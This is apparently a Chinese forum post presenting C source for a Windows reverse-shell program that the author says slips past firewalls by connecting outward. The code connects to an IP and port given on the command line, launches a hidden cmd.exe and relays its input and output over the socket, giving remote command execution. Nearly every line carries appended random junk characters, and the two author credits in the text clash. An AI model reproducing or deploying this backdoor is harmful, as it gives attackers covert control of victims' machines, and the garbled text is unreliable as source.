这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i t,i^32|
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/* ============================== C^aP)&
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Rebound port in Windows NT Cl6y:21]K
By wind,2006/7 1[[`
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===============================*/ u<]-%ha$
#include TCX*$ac"
#include &0It"17Ej
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#pragma comment(lib,"wsock32.lib") eq<xO28z
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void OutputShell(); zM|d9TS
SOCKET sClient; tU}CRh
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `D>PU@s$nT
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void main(int argc,char **argv) TixHEhw
{ $`i$/FE
WSADATA stWsaData; b~Y$!fc
int nRet; g*N~r['dZ
SOCKADDR_IN stSaiClient,stSaiServer; R KFz6t
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if(argc != 3) m_W\jz??k
{ ipQJn_:2
printf("Useage:\n\rRebound DestIP DestPort\n"); wlAlIvIT
return; 8%_XJyg
} ?NGM<nK;7
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WSAStartup(MAKEWORD(2,2),&stWsaData); z~L4BY @z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \'q-Xr'}M
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stSaiClient.sin_family = AF_INET; Q|@!zMy
stSaiClient.sin_port = htons(0); SJ6lI66OX
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); WLP A51R
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?uc=(J+6
{ hvtg_w6K
printf("Bind Socket Failed!\n"); E&Pv:h,pV&
return; W|NzdxCY
} N0O8to}V
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stSaiServer.sin_family = AF_INET; s_hf,QH
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); U? [a@Hj{
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }W#Gf.$6C
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D(Pd?iQIO
{ yc8iT`
printf("Connect Error!"); (*;b\h
return; c_~)#F%P
} |qH -^b.F
OutputShell(); Sqed*
} S`8
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void OutputShell() ``nuw7\C:
{ -7fsfcGM$
char szBuff[1024]; /+1+6MqRn*
SECURITY_ATTRIBUTES stSecurityAttributes; B[F x2r`0
OSVERSIONINFO stOsversionInfo; R^iF^IB
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M9.jJf
STARTUPINFO stStartupInfo; ^o,P>u!9
char *szShell; y1p^
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PROCESS_INFORMATION stProcessInformation; "diF$Lj
unsigned long lBytesRead; [c+[t3dz
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jX-v9eaA
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); elG<\[
stSecurityAttributes.lpSecurityDescriptor = 0; U ; JZN
stSecurityAttributes.bInheritHandle = TRUE; - jfZLO4
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M/x49qO#
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ( MWh|kp
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s]#D;i8
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hk3}}jc
stStartupInfo.wShowWindow = SW_HIDE; iBVV5 f
stStartupInfo.hStdInput = hReadPipe; T6=, A }t-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;
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GetVersionEx(&stOsversionInfo); 8L`J](y
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switch(stOsversionInfo.dwPlatformId) 8~YhT]R=
{ ^q-]."W]t~
case 1: vR.=o*!%
szShell = "command.com"; @Hw#O33/'
break; =Bcwd7+
default: "-C.gqoB
szShell = "cmd.exe"; \L>3E#R-Q
break; RZ#b)l
} a6wPkf7-H
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); dYrw&gn
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send(sClient,szMsg,77,0); w6zB uW
while(1)
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{ |k1(|)%G
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #!wu}nDu
if(lBytesRead) qPDe;$J)
{ ~2+J]8@I]
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {U?/u93~
send(sClient,szBuff,lBytesRead,0); hm*1w6 =
} bW\OKI1
else as=Z_a:0N
{ ghq [oK
lBytesRead=recv(sClient,szBuff,1024,0); w[}5qAI5*f
if(lBytesRead<=0) break; tGDsZ;3Yr
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); LG0+A}E=C
} )ZC0/>R
} lK;|ciq"c7
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return; P&@ 2DI3m
}